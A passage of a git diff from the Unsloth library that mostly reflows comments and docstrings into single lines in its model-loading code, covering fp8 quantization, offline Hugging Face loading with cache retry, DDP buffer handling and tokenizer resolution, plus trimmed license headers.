-unsloth-bnb-4bit dynamic quants) are keys of the mappers, not values, so the- # resolver returns None and the remap above is skipped; remap the input name directly.+ # Some bad names (the -unsloth-bnb-4bit dynamic quants) are keys of the mappers, not values, so the resolver returns None and the remap above is skipped; remap the input name directly.new_model_name = BAD_MAPPINGS[model_name.lower()]if (@@ -1117,8 +976,7 @@ def get_model_name(int_to_float = NEW_INT_TO_FLOAT_MAPPER,float_to_int = NEW_FLOAT_TO_INT_MAPPER,map_to_unsloth_16bit = NEW_MAP_TO_UNSLOTH_16bit,- # The fp8 probe has to look at the FETCHED tables too, or a new fp8 repo would miss both here and in- # the installed tables and skip the upgrade message.+ # The fp8 probe has to look at the FETCHED tables too, or a new fp8 repo would miss both here and in the installed tables and skip the upgrade message.fp8_block = NEW_FP8_BLOCK_MAPPER,fp8_row = NEW_FP8_ROW_MAPPER,)@@ -1143,15 +1001,7 @@ def _offline_quantize_to_fp8(text_only: bool = False,revision: str = None,) -> str:- """Quantize the model to fp8 via torchao, save to a temp dir, return its path.-- For vllm >= 0.12.0, prefer dynamic quantization in vllm instead (via- hf_overrides={"quantization_config_file": "torchao_config.json"}).-- The caller's revision has to reach the source loads, and the cache name has to name it- too: the returned path replaces model_name, so the revision gate downstream drops the- pin, and two refs of one repo would otherwise share (and reuse) a single artifact.- """+ """Quantize the model to fp8 via torchao, save to a temp dir, return its path. For vllm >= 0.12.0, prefer dynamic quantization in vllm instead (via hf_overrides={"quantization_config_file": "torchao_config.json"}). The caller's revision has to reach the source loads, and the cache name has to name it too: the returned path replaces model_name, so the revision gate downstream drops the pin, and two refs of one repo would otherwise share a single artifact."""from transformers import (AutoModelForCausalLM,AutoModelForImageTextToText,@@ -1189,8 +1039,7 @@ def _offline_quantize_to_fp8(# Cache text-only and full-VLM artifacts separately so neither reuses the other (#5816).cache_name = model_name.split("/")[-1] + "-fp8-" + fp8_modeif revision is not None:- # Sanitizing is lossy (release/v1 and release.v1 collapse), so a digest of the raw ref rides along- # and two refs never share an artifact.+ # Sanitizing is lossy (release/v1 and release.v1 collapse), so a digest of the raw ref rides along and two refs never share an artifact.digest = hashlib.sha256(revision.encode("utf-8")).hexdigest()[:12]readable = re.sub(r"[^0-9A-Za-z_-]", "_", revision)[:40]cache_name += "-rev-" + readable + "-" + digest@@ -1280,11 +1129,7 @@ def _load_fp8_weight_map(subfolder = None,cache_dir = None,):- """Return the checkpoint's tensor->file map, using the same snapshot the load used.-- Prefers the sharded `model.safetensors.index.json`; falls back to a single `model.safetensors`- (every tensor maps to that one file) so unsharded checkpoints are covered too.- """+ """The checkpoint's tensor->file map, using the same snapshot the load used. Prefers the sharded `model.safetensors.index.json`, falling back to a single `model.safetensors` so unsharded checkpoints are covered too."""def _local_path(filename):return (@@ -1309,7 +1154,6 @@ def _load_fp8_weight_map(single_file = "model.safetensors"is_local = os.path.isdir(model_name)- # Sharded checkpoint.if is_local and os.path.exists(_local_path(index_file)):index_path = _local_path(index_file)elif not is_local:@@ -1325,7 +1169,6 @@ def _load_fp8_weight_map(with open(index_path, "r", encoding = "utf-8") as f:return json.load(f).get("weight_map", None)- # Unsharded single file: map every tensor to it.try:if is_local and os.path.exists(_local_path(single_file)):single_path = _local_path(single_file)@@ -1370,13 +1213,7 @@ def _resolve_fp8_shard(def _match_fp8_module(module_by_name, base):- """Resolve a checkpoint module name to a live module, allowing for VLM key remappings.-- VLM loads can name the text tower differently from the checkpoint keys: `text_only=True`- strips the `language_model.` wrapper (so `model.language_model.layers.*` -> `model.layers.*`),- and full VLM loads may expose `model.language_model.*` while the checkpoint stores- `language_model.model.*`. Try the raw key first, then a few safe remappings.- """+ """Resolve a checkpoint module name to a live module, allowing for VLM key remappings. VLM loads can name the text tower differently from the checkpoint keys: `text_only=True` strips the `language_model.` wrapper, and full VLM loads may expose `model.language_model.*` while the checkpoint stores `language_model.model.*`. Try the raw key first, then a few safe remappings."""if base in module_by_name:return module_by_name[base]candidates = []@@ -1403,15 +1240,7 @@ def _restore_dropped_fp8_scales(cache_dir = None,variant = None,):- """Re-apply block-fp8 `weight_scale_inv` tensors that transformers dropped on load.-- On some block-scale fp8 checkpoints (e.g. Qwen3.6-27B-FP8, issue #6200) transformers fails to- convert a Linear (such as `mlp.gate_proj`) to an fp8 module, loading the raw quantized values- into a plain bf16 weight and discarding its `weight_scale_inv` as an unexpected key. The weight- is then used un-scaled, producing a garbage model. For every checkpoint scale whose live weight- is not fp8, dequantize the orphaned weight in place. Modules that were converted correctly keep- an fp8 weight and are skipped, so a healthy checkpoint is a no-op. Returns (restored, skipped).- """+ """Re-apply block-fp8 `weight_scale_inv` tensors that transformers dropped on load. On some block-scale fp8 checkpoints (e.g. Qwen3.6-27B-FP8, issue #6200) transformers fails to convert a Linear such as `mlp.gate_proj` to an fp8 module, loading the raw quantized values into a plain bf16 weight and discarding its `weight_scale_inv` as an unexpected key, so the weight is used un-scaled and the model is garbage. For every checkpoint scale whose live weight is not fp8, dequantize the orphaned weight in place; correctly converted modules keep an fp8 weight and are skipped, so a healthy checkpoint is a no-op. Returns (restored, skipped)."""try:block = _fp8_block_size_from_config(model)if block is None or not _FP8_DTYPES:@@ -1419,8 +1248,7 @@ def _restore_dropped_fp8_scales(# A variant load reads variant-named files; skip to avoid applying default scales to them.if variant:return (0, 0)- # No fp8 params means the checkpoint was dequantized on purpose (load_in_16bit), and re-applying a- # scale would corrupt those already-correct 16bit weights.+ # No fp8 params means the checkpoint was dequantized on purpose (load_in_16bit), and re-applying a scale would corrupt those already-correct 16bit weights.if not any(p.dtype in _FP8_DTYPES for p in model.parameters()):return (0, 0)weight_map = _load_fp8_weight_map(@@ -1449,8 +1277,7 @@ def _restore_dropped_fp8_scales(if not isinstance(weight, torch.Tensor) or weight.ndim != 2:continueif weight.device.type == "meta":- # Disk-offloaded layer: the weight lives on meta until forward, so it cannot be scaled in place- # here. Count and warn rather than silently leave it unscaled.+ # Disk-offloaded layer: the weight lives on meta until forward, so it cannot be scaled in place here. Count and warn rather than silently leave it unscaled.offloaded += 1continueif weight.dtype in _FP8_DTYPES:@@ -1488,8 +1315,7 @@ def _restore_dropped_fp8_scales(scale = scale.to(weight.device)with torch.no_grad():if out_features % bs0 == 0 and in_features % bs1 == 0:- # Memory-frugal path: multiply block views in place against the broadcast fp32 scale, avoiding a- # full expanded scale and fp32 copy that could OOM.+ # Memory-frugal path: multiply block views in place against the broadcast fp32 scale, avoiding a full expanded scale and fp32 copy that could OOM.module.weight.data.view(out_blocks, bs0, in_blocks, bs1).mul_(scale[:, None, :, None])@@ -1525,29 +1351,13 @@ def check_and_disable_bitsandbytes_loading(load_in_8bit = False,verbose = True,):- """- Check if we should disable bitsandbytes loading (load_in_4bit/load_in_8bit)- because the model already has a non-bitsandbytes quantization config.- If so, disable BOTH 4bit and 8bit loading and print a warning message.-- Args:- model_config: The AutoConfig object from the model- load_in_4bit: Whether load_in_4bit is currently enabled- load_in_8bit: Whether load_in_8bit is currently enabled- verbose: Whether to print warning messages-- Returns:- tuple: (load_in_4bit, load_in_8bit, quant_method)- load_in_4bit/load_in_8bit will be False if they were disabled- quant_method is the detected quantization method or None- """+ """Disable bitsandbytes loading (load_in_4bit/load_in_8bit) when the model already carries a non-bitsandbytes quantization config. Returns ``(load_in_4bit, load_in_8bit, quant_method)``, with both flags False if they were disabled and quant_method the detected method or None."""quant_method = get_quant_type(model_config)if quant_method is None or quant_method == "bitsandbytes":return load_in_4bit, load_in_8bit, quant_method- # A non-bitsandbytes quantization config (compressed-tensors, gptq, awq) means BOTH bitsandbytes- # loading flags must be disabled to avoid config conflicts.+ # A non-bitsandbytes quantization config (compressed-tensors, gptq, awq) means BOTH bitsandbytes loading flags must be disabled to avoid config conflicts.if load_in_4bit or load_in_8bit:if verbose:print(@@ -1561,10 +1371,7 @@ def check_and_disable_bitsandbytes_loading(def sync_unsloth_model_name_bnb_flags(load_in_4bit, load_in_8bit):- """Make UNSLOTH_MODEL_NAME's `_load_in_4bit_`/`_load_in_8bit_` tokens match the EFFECTIVE bnb- state (after get_model_name remap + check_and_disable). The per-load env is built from the- pre-remap config (None for adapter-only PEFT repos), so its tokens can be wrong once the base- resolves. Only the gpt-oss patch reads them, so this is gated to gpt-oss; no-op otherwise."""+ """Make UNSLOTH_MODEL_NAME's `_load_in_4bit_`/`_load_in_8bit_` tokens match the EFFECTIVE bnb state (after get_model_name remap + check_and_disable). The per-load env is built from the pre-remap config (None for adapter-only PEFT repos), so its tokens can be wrong once the base resolves. Only the gpt-oss patch reads them, so this is gated to gpt-oss."""name = os.environ.get("UNSLOTH_MODEL_NAME", "")if "gpt_oss" not in name.replace("-", "_"):return@@ -1587,10 +1394,7 @@ def _get_fp8_mode_and_check_settings(load_in_8bit: bool = False,load_in_16bit: bool = False,) -> str:- """Validate `load_in_fp8` settings/environment and return the fp8 mode- ("row" or "block"). Requires H100+, torchao 0.15.0+, torch 2.9.0+, and- fbgemm_gpu_genai 1.4.1+ if installed.- """+ """Validate `load_in_fp8` settings/environment and return the fp8 mode ("row" or "block"). Requires H100+, torchao 0.15.0+, torch 2.9.0+, and fbgemm_gpu_genai 1.4.1+ if installed."""assert load_in_fp8 is not Falseif load_in_fp8 is True:fp8_mode = "row" # default@@ -1606,7 +1410,6 @@ def _get_fp8_mode_and_check_settings("Unsloth: `load_in_fp8` is not compatible with `load_in_4bit`, `load_in_8bit` or `load_in_16bit`",)- # Check if this is Hopper or aboveif not (torch.cuda.is_available()and torch.version.cuda@@ -1616,7 +1419,6 @@ def _get_fp8_mode_and_check_settings("Unsloth: On the fly `load_in_fp8` requires H100 GPUs or after. Try `unsloth/Qwen3-8B` instead.")- # Check if torch >= 2.9.0if Version(torch.__version__) < Version("2.9.0"):raise ValueError("Unsloth: On the fly `load_in_fp8` requires torch 2.9.0+. Try `unsloth/Qwen3-8B` instead."@@ -1644,7 +1446,6 @@ def _get_fp8_mode_and_check_settings():import fbgemm_gpu.experimental.gen_aiif Version(fbgemm_gpu.__version__) < Version("1.4.1"):- # Old FBGEMM version - disable and use Triton kernels insteados.environ["UNSLOTH_HAS_FBGEMM"] = "0"from unsloth_zoo.log import loggerlogger.info(@@ -1654,12 +1455,7 @@ def _get_fp8_mode_and_check_settings(return fp8_mode-# Rotary inv_freq buffers are deliberately kept on CPU: Unsloth pre-builds a cos/sin cache per GPU-# instead (LlamaRotaryEmbedding.multi_gpu_cos_cached). torch.nn.parallel.DistributedDataParallel-# ignores device when it broadcasts buffers across ranks, so a CPU buffer crashes NCCL's-# _broadcast_coalesced with "No backend type associated with device type cpu"; telling DDP to skip-# these buffers avoids that without moving inv_freq to GPU. Re-run after wrapping with PEFT, since-# the fully qualified names change under a PeftModel ("base_model.model...") (#6656).+# Rotary inv_freq buffers are deliberately kept on CPU: Unsloth pre-builds a cos/sin cache per GPU instead (LlamaRotaryEmbedding.multi_gpu_cos_cached). DistributedDataParallel ignores device when it broadcasts buffers across ranks, so a CPU buffer crashes NCCL's _broadcast_coalesced with "No backend type associated with device type cpu"; telling DDP to skip these buffers avoids that without moving inv_freq to GPU. Re-run after wrapping with PEFT, since the fully qualified names change under a PeftModel (#6656)._ROTARY_INV_FREQ_BUFFER_NAMES = ("inv_freq", "short_inv_freq", "long_inv_freq")@@ -1676,16 +1472,13 @@ def _exclude_rope_inv_freq_from_ddp(model):from torch.nn.parallel import DistributedDataParallelDistributedDataParallel._set_params_and_buffers_to_ignore_for_model(model, ignored)except Exception:- # Private PyTorch API: fall back to setting the attribute DDP reads directly if it ever moves or- # changes signature.+ # Private PyTorch API: fall back to setting the attribute DDP reads directly if it ever moves or changes signature.model._ddp_params_and_buffers_to_ignore = ignoredreturn model-# Offline loading, shared by vision.py, loader.py and the Unsloth exporter: decide offline ONCE at-# the load boundary and force it ONCE around the whole load, so nested HF calls inherit it.+# Offline loading, shared by vision.py, loader.py and the Unsloth exporter: decide offline ONCE at the load boundary and force it ONCE around the whole load, so nested HF calls inherit it.-# =============================================================================_OFFLINE_ENV_VALUES = {"1", "true", "yes", "on"}_OFFLINE_ENV_KEYS = ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")@@ -1705,16 +1498,9 @@ def _get_effective_local_files_only(kwargs):return _env_says_offline()-# Stamped on a tokenizer/processor loaded local-only so a later save still knows: transformers-# takes local_files_only as an explicit from_pretrained parameter and never copies it into-# tokenizer.init_kwargs (#7481). The load's cache_dir and ref travel with it, since saving-# otherwise derives a cache from HF_HUB_CACHE and drops the branch from name_or_path.+# Stamped on a tokenizer/processor loaded local-only so a later save still knows: transformers takes local_files_only as an explicit from_pretrained parameter and never copies it into tokenizer.init_kwargs (#7481). The load's cache_dir and ref travel with it, since saving otherwise derives a cache from HF_HUB_CACHE and drops the branch from name_or_path._LOCAL_FILES_ONLY_ATTR = "_unsloth_local_files_only"-# The load's cache_dir travels with it too: saving derives one from HF_HUB_CACHE / HF_HOME, which does not see a-# caller-supplied cache._LOADED_CACHE_DIR_ATTR = "_unsloth_loaded_cache_dir"-# So does the ref it was read at: saving restores sentencepiece assets from tokenizer.name_or_path, which names-# the repo but not the branch._LOADED_REVISION_ATTR = "_unsloth_loaded_revision"@@ -1724,7 +1510,6 @@ def _mark_loaded_revision(result, revision):return resultfor obj in result if isinstance(result, (tuple, list)) else (result,):# Objects that reject new attributes (__slots__) are skipped.- # Skip objects that reject new attributes (__slots__).try:targets = (obj, getattr(obj, "tokenizer", None))except Exception:@@ -1749,8 +1534,7 @@ def _mark_loaded_local_files_only(result, cache_dir = None):"""Stamp a load's local-only mode and cache_dir onto the returned objects."""for obj in result if isinstance(result, (tuple, list)) else (result,):try:- # A processor keeps the tokenizer that _has_tokenizer_model unwraps to, so stamp both; a wrapped- # model can raise from its own __getattr__.+ # A processor keeps the tokenizer that _has_tokenizer_model unwraps to, so stamp both; a wrapped model can raise from its own __getattr__.targets = (obj, getattr(obj, "tokenizer", None))except Exception:targets = (obj,)@@ -1783,8 +1567,7 @@ def _tokenizer_wants_local_only(tokenizer):def _is_offline_related_error(exc):- """True if exc (or its cause/context chain) is a lost-connection error, not a- missing file. Plain FileNotFoundError propagates; LocalEntryNotFoundError is offline."""+ """True if exc (or its cause/context chain) is a lost-connection error, not a missing file. Plain FileNotFoundError propagates; LocalEntryNotFoundError is offline."""import socketimport sslimport urllib.error@@ -1792,10 +1575,8 @@ def _is_offline_related_error(exc):# Match network failures by type (locale independent), not just message wording._net_types = [ConnectionError, TimeoutError, socket.gaierror, urllib.error.URLError]_offline_fnf_types = () # FileNotFoundError subclasses that count as offline- # urllib HTTPError is a URLError subclass, so judge by status (5xx offline, 4xx propagates).- # TLS/cert failures are security-sensitive (MITM, expired CA) and are never offline-retried.+ # urllib HTTPError is a URLError subclass, so judge by status (5xx offline, 4xx propagates). TLS/cert failures are security-sensitive (MITM, expired CA) and are never offline-retried._http_types = (urllib.error.HTTPError,)- # TLS/cert failures are security-sensitive (MITM, expired CA): never offline-retry them._ssl_types = [ssl.SSLError]try:import requests@@ -1860,14 +1641,12 @@ def _is_offline_related_error(exc):cur = excwhile cur is not None and id(cur) not in seen:seen.add(id(cur))- # TLS/cert failure (corporate MITM, expired CA): security-sensitive, never retry from cache. Skip- # this node; a deeper cause in the chain may still be a genuine outage.+ # TLS/cert failure (corporate MITM, expired CA): security-sensitive, never retry from cache. Skip this node; a deeper cause in the chain may still be a genuine outage.if isinstance(cur, _ssl_types) or isinstance(getattr(cur, "reason", None), _ssl_types):cur = cur.__cause__ or cur.__context__continueis_fnf = isinstance(cur, FileNotFoundError) and not isinstance(cur, _offline_fnf_types)- # urllib HTTPError is a URLError (net type) but must be judged by status code below, unlike- # LocalEntryNotFoundError, an HfHubHTTPError that is always offline.+ # urllib HTTPError is a URLError (net type) but must be judged by status code below, unlike LocalEntryNotFoundError, an HfHubHTTPError that is always offline.if (isinstance(cur, _net_types)and not is_fnf@@ -1889,8 +1668,7 @@ def _is_offline_related_error(exc):return False-# Process-wide HF offline state; the depth counter lets nested windows share one flip (first entrant saves-# originals, last exit restores). Lock guards flip/restore.+# Process-wide HF offline state; the depth counter lets nested windows share one flip (first entrant saves originals, last exit restores). Lock guards flip/restore._force_offline_lock = _threading.RLock()_force_offline_depth = 0_force_offline_saved = []@@ -1898,11 +1676,8 @@ _force_offline_saved_env = {}def _reset_hf_sessions():- """Clear hub's per-thread cached Sessions so the next rebuilds against the current- offline flag. On hub 0.x the offline adapter is baked in at Session creation. Best-effort."""- # Snapshot in-process constants BEFORE forcing the env: a module first imported here would otherwise- # initialize its constant from the just-set "1" and we would save (then restore) True, pinning the process- # offline after the window.+ """Clear hub's per-thread cached Sessions so the next rebuilds against the current offline flag. On hub 0.x the offline adapter is baked in at Session creation. Best-effort."""+ # Snapshot in-process constants BEFORE forcing the env: a module first imported here would otherwise initialize its constant from the just-set "1" and we would save (then restore) True, pinning the process offline after the window.try:from huggingface_hub.utils._http import reset_sessionsexcept Exception:@@ -1918,10 +1693,7 @@ def _reset_hf_sessions():@contextlib.contextmanagerdef _force_hf_offline():- """Force HF offline for the window. local_files_only alone is not enough- (transformers < 5 still pings /api/models), so set BOTH the env vars (cover- subprocesses + raw urllib/requests) AND the in-process hub/transformers constants.- Process-global; the refcount keeps restore correct under nesting / overlap."""+ """Force HF offline for the window. local_files_only alone is not enough (transformers < 5 still pings /api/models), so set BOTH the env vars (covering subprocesses and raw urllib/requests) AND the in-process hub/transformers constants. Process-global; the refcount keeps restore correct under nesting."""global _force_offline_depth, _force_offline_saved, _force_offline_saved_envwith _force_offline_lock:if _force_offline_depth == 0:@@ -1940,7 +1712,6 @@ def _force_hf_offline():saved.append((_tuh, _attr, getattr(_tuh, _attr)))except Exception:pass- # Now force the env vars and flip the snapshotted constants to offline.for _k in _OFFLINE_ENV_KEYS:saved_env[_k] = os.environ.get(_k)os.environ[_k] = "1"@@ -1952,7 +1723,6 @@ def _force_hf_offline():_force_offline_saved = saved_force_offline_saved_env = saved_env# Drop offline-mounted sessions so later online calls rebuild for the network.- # Rebuild cached sessions so they pick up the offline adapter._reset_hf_sessions()_force_offline_depth += 1try:@@ -1986,9 +1756,7 @@ def _progress_bars_were_disabled():def _restore_progress_bars(were_disabled):- """Re-enable HF progress bars only if a failed attempt left them disabled after they- were enabled (a loader disables them around config probes and skips re-enabling on- error). No-op if the user had them disabled or the state is unknown."""+ """Re-enable HF progress bars only if a failed attempt left them disabled after they were enabled (a loader disables them around config probes and skips re-enabling on error). No-op if the user had them disabled or the state is unknown."""if were_disabled is False:try:from huggingface_hub.utils import enable_progress_bars@@ -1997,11 +1765,7 @@ def _restore_progress_bars(were_disabled):pass-# Every way a cache miss reaches the caller once offline mode has skipped Transformers' own "does not appear to-# have a file named" raise: the resolved path stays None and the next line dereferences it, so the message names-# the None and never the cache. Same set the Unsloth training worker matches-# (studio/backend/core/training/worker.py, #7845): weights come out as `endswith`, tokenizers/processors as any-# of the other four.+# Every way a cache miss reaches the caller once offline mode has skipped Transformers' own "does not appear to have a file named" raise: the resolved path stays None and the next line dereferences it, so the message names the None and never the cache. Same set the Unsloth training worker matches (studio/backend/core/training/worker.py, #7845): weights come out as `endswith`, tokenizers/processors as any of the other four._EMPTY_CACHE_ARTIFACTS = ("'nonetype' object has no attribute 'endswith'","'nonetype' object has no attribute 'readlines'",@@ -2013,22 +1777,12 @@ _EMPTY_CACHE_ARTIFACTS = (def _empty_cache_artifact(exc):- """True if exc, or something it wraps, is offline mode's empty-cache artifact.-- The one family of retry failure that says nothing useful.-- Named positively, rather than asking "is this an OOM": every other retry- failure is real news and must reach the user, and enumerating the ways an- accelerator spells OOM cannot be complete (accelerate re-raises it as a bare- RuntimeError, XPU has its own class). Asking for the artifact instead is- complete by construction.- """+ """True if exc, or something it wraps, is offline mode's empty-cache artifact, the one family of retry failure that says nothing useful. Named positively rather than asking "is this an OOM": every other retry failure is real news and must reach the user, and enumerating the ways an accelerator spells OOM cannot be complete (accelerate re-raises it as a bare RuntimeError, XPU has its own class), while asking for the artifact is complete by construction."""seen = set()while exc is not None and id(exc) not in seen:seen.add(id(exc))text = str(exc).lower()- # Gate on the None: the same TypeError wording about a real path (`not 'int'`) is a caller bug, not an- # empty cache.+ # Gate on the None: the same TypeError wording about a real path (`not 'int'`) is a caller bug, not an empty cache.if ("nonetype" in text or "path 'none'" in text) and any(artifact in text for artifact in _EMPTY_CACHE_ARTIFACTS):@@ -2038,14 +1792,7 @@ def _empty_cache_artifact(exc):def _release_traceback_locals(error):- """Drop the frame locals along an exception chain, keeping file and line.-- An exception we keep past its handler keeps its frames alive, and a failed load's- frames still own whatever the attempt had already built, so a retained error can pin- a model's GPU tensors for as long as the caller holds it. Clearing the locals beats- dropping the traceback: the memory goes either way, but the origin stays printable,- which for a network failure inside `trust_remote_code` is the only clue there is.- """+ """Drop the frame locals along an exception chain, keeping file and line. An exception kept past its handler keeps its frames alive, and a failed load's frames still own whatever the attempt had already built, so a retained error can pin a model's GPU tensors for as long as the caller holds it. Clearing the locals beats dropping the traceback: the memory goes either way, but the origin stays printable, which for a network failure inside `trust_remote_code` is the only clue there is."""seen = set()while error is not None and id(error) not in seen:seen.add(id(error))@@ -2055,13 +1802,7 @@ def _release_traceback_locals(error):def _note_offline_retry(error, retry_error):- """Record the failed cache retry on the online error we are about to surface.-- A note is the only place it can go that survives: the online error usually- already has a cause, and Python prints a cause INSTEAD of a context, so- chaining the retry on would hide it (and would cost the chain that makes the- online error classifiable). Notes are 3.11+; below that this is a no-op and- the attribute is all there is."""+ """Record the failed cache retry on the online error we are about to surface. A note is the only place it can go that survives: the online error usually already has a cause, and Python prints a cause INSTEAD of a context, so chaining the retry on would hide it and would cost the chain that makes the online error classifiable. Notes are 3.11+; below that this is a no-op and the attribute is all there is."""text = f"Unsloth: retrying from the local cache also failed: {type(retry_error).__name__}: {retry_error}"try:error._unsloth_offline_retry_error = retry_error@@ -2077,34 +1818,26 @@ def _note_offline_retry(error, retry_error):def _offline_aware_load(fn):- """Decide offline ONCE (local_files_only kwarg or env) and force it around the- whole load. If we started online and hit a network error, retry once forced-offline.- Network-up online path is unchanged: no window, no retry."""+ """Decide offline ONCE (local_files_only kwarg or env) and force it around the whole load. If we started online and hit a network error, retry once forced-offline. The network-up online path is unchanged: no window, no retry."""@functools.wraps(fn)def _wrapper(*args, **kwargs):if _get_effective_local_files_only(kwargs):kwargs["local_files_only"] = Truewith _force_hf_offline():- # Stamp inside the window: the env vars are restored on exit, so the request has to travel on- # the objects themselves to reach saving.+ # Stamp inside the window: the env vars are restored on exit, so the request has to travel on the objects themselves to reach saving.return _mark_loaded_local_files_only(fn(*args, **kwargs), kwargs.get("cache_dir"))_pb_were_disabled = _progress_bars_were_disabled()try:return fn(*args, **kwargs)except Exception as e:- # Skip if not network-related, or already retried by a nested decorator (else outer layers reload- # the whole model again).+ # Skip if not network-related, or already retried by a nested decorator (else outer layers reload the whole model again).if not _is_offline_related_error(e) or getattr(e, "_unsloth_offline_retried", False):raise- # Holding `e` holds its frames, and those frames hold the half-built model, so the collect below- # could not free it and a large VLM OOMed on the reload the retry exists to make. A wrapper's- # cause/context carries tracebacks over the SAME frames, so the whole chain has to be released, not- # just the top.+ # Holding `e` holds its frames, and those frames hold the half-built model, so the collect below could not free it and a large VLM OOMed on the reload the retry exists to make. A wrapper's cause/context carries tracebacks over the SAME frames, so the whole chain has to be released, not just the top.online_error = e_release_traceback_locals(online_error)- # Retry OUTSIDE the except so the failed attempt's traceback (a partial model) is freed before- # reallocating, else a large VLM can OOM on the second load.+ # Retry OUTSIDE the except so the failed attempt's traceback (a partial model) is freed before reallocating, else a large VLM can OOM on the second load.try:gc.collect()if torch.cuda.is_available():@@ -2120,8 +1853,7 @@ def _offline_aware_load(fn):with _force_hf_offline():return fn(*args, **kwargs)except Exception as e:- # A real retry failure (corrupt checkpoint, OOM) is news and goes out as itself; only the empty-- # cache artifact is worth replacing.+ # A real retry failure (corrupt checkpoint, OOM) is news and goes out as itself; only the empty-cache artifact is worth replacing.if not _empty_cache_artifact(e):# Tag so an enclosing _offline_aware_load skips its own redundant retry.try:@@ -2129,21 +1861,15 @@ def _offline_aware_load(fn):except Exception:passraise- # The retry can load a whole cached model and only then trip over a missing tokenizer file, and this- # error outlives the call on the online one, so its frames would keep that model resident for as- # long as the caller holds it.+ # The retry can load a whole cached model and only then trip over a missing tokenizer file, and this error outlives the call on the online one, so its frames would keep that model resident for as long as the caller holds it._release_traceback_locals(e)retry_error = e- # Report the ONLINE error: this retry only runs because of it, and its own failure names an empty cache- # badly (offline mode skips Transformers' "does not appear to have a file named" raise, so the user saw- # `AttributeError: 'NoneType' ... 'endswith'`).+ # Report the ONLINE error: this retry only runs because of it, and its own failure names an empty cache badly (offline mode skips Transformers' "does not appear to have a file named" raise, so the user saw `AttributeError: 'NoneType' ... 'endswith'`).try:online_error._unsloth_offline_retried = Trueexcept Exception:pass- # Raise OUTSIDE the handler above: inside it, Python would overwrite `__context__` with the cache miss,- # and that chain is often the only thing that still makes the online error classifiable as network-- # related.+ # Raise OUTSIDE the handler above: inside it, Python would overwrite `__context__` with the cache miss, and that chain is often the only thing that still makes the online error classifiable as network-related.if online_error.__cause__ is None and online_error.__context__ is None:# No chain to lose, so chain the retry on where it also prints.raise online_error from retry_error@@ -2154,8 +1880,7 @@ def _offline_aware_load(fn):def _has_local_tokenizer_files(path):- """True if a local dir has a loadable tokenizer (BPE vocab.json needs merges.txt;- special_tokens_map.json is not required)."""+ """True if a local dir has a loadable tokenizer (BPE vocab.json needs merges.txt; special_tokens_map.json is not required)."""return (os.path.exists(os.path.join(path, "tokenizer.json"))or os.path.exists(os.path.join(path, "tokenizer.model"))@@ -2169,8 +1894,7 @@ def _has_local_tokenizer_files(path):def _has_local_processor_files(path):- """True if a local dir ships a processor/image-processor config (a VLM needs this to- build AutoProcessor; tokenizer files alone are not enough)."""+ """True if a local dir ships a processor/image-processor config (a VLM needs this to build AutoProcessor; tokenizer files alone are not enough)."""return os.path.exists(os.path.join(path, "processor_config.json")) or os.path.exists(os.path.join(path, "preprocessor_config.json"))@@ -2182,8 +1906,7 @@ def _resolve_hub_repo_local_dir(token = None,cache_dir = None,revision = None,- # Default closed: a "resolve local dir" helper must not download. False here means five filenames each- # retried with backoff before it gives up.+ # Default closed: a "resolve local dir" helper must not download. False here means five filenames each retried with backoff before it gives up.local_files_only = True,filenames = ("tokenizer_config.json",@@ -2193,14 +1916,7 @@ def _resolve_hub_repo_local_dir("processor_config.json",),):- """Return a local snapshot directory for a Hub repo id when files are cached.-- On transformers 4.57.2 through 5.5.4, ``PreTrainedTokenizerFast.from_pretrained``- on a repo id can still call ``model_info()`` when ``local_files_only=True`` and- no offline env var is set. Loading from the resolved snapshot dir avoids that- Hub probe. Upstream fixed this in transformers 5.6.0 (huggingface/transformers#43603);- this helper can be removed once the supported floor is past that version.- """+ """A local snapshot directory for a Hub repo id when files are cached. On transformers 4.57.2 through 5.5.4, ``PreTrainedTokenizerFast.from_pretrained`` on a repo id can still call ``model_info()`` when ``local_files_only=True`` and no offline env var is set; loading from the resolved snapshot dir avoids that Hub probe. Fixed upstream in transformers 5.6.0 (huggingface/transformers#43603), so this can go once the floor is past that."""if not isinstance(repo_id, str) or not repo_id:return Noneif os.path.isdir(repo_id):@@ -2293,10 +2009,7 @@ def _load_pretrained_tokenizer_fast(local_files_only = False,revision = None,):- """Load ``PreTrainedTokenizerFast`` without Hub metadata probes when cached/offline.-- Needed on transformers 4.57.2-5.5.4; redundant once the floor is past 5.6.0.- """+ """Load ``PreTrainedTokenizerFast`` without Hub metadata probes when cached/offline. Needed on transformers 4.57.2-5.5.4; redundant once the floor is past 5.6.0."""from transformers import PreTrainedTokenizerFastlfo = bool(local_files_only) or _env_says_offline()@@ -2328,10 +2041,7 @@ def _resolve_checkpoint_tokenizer_name(kwargs,require_processor = False,):- """tokenizer_name for a PEFT/checkpoint load: caller override, else the local checkpoint- dir if self-sufficient, else None (base repo). Always popped from kwargs (also passed- explicitly downstream). For a VLM (require_processor), the dir must also ship processor- files; otherwise fall back to the base repo whose cached processor still loads."""+ """tokenizer_name for a PEFT/checkpoint load: caller override, else the local checkpoint dir if self-sufficient, else None (base repo). Always popped from kwargs (also passed explicitly downstream). For a VLM (require_processor), the dir must also ship processor files; otherwise fall back to the base repo whose cached processor still loads."""explicit = kwargs.pop("tokenizer_name", None)if explicit is not None:return explicitdiff --git a/unsloth/models/mapper.py b/unsloth/models/mapper.pyindex 6fa681f41d5..c3898e442d8 100644--- a/unsloth/models/mapper.py+++ b/unsloth/models/mapper.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.pyindex 4da95393af5..fc3345f3d18 100644--- a/unsloth/models/mistral.py+++ b/unsloth/models/mistral.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/qwen2.py b/unsloth/models/qwen2.pyindex dbbd5b2a062..32939926fa9 100644--- 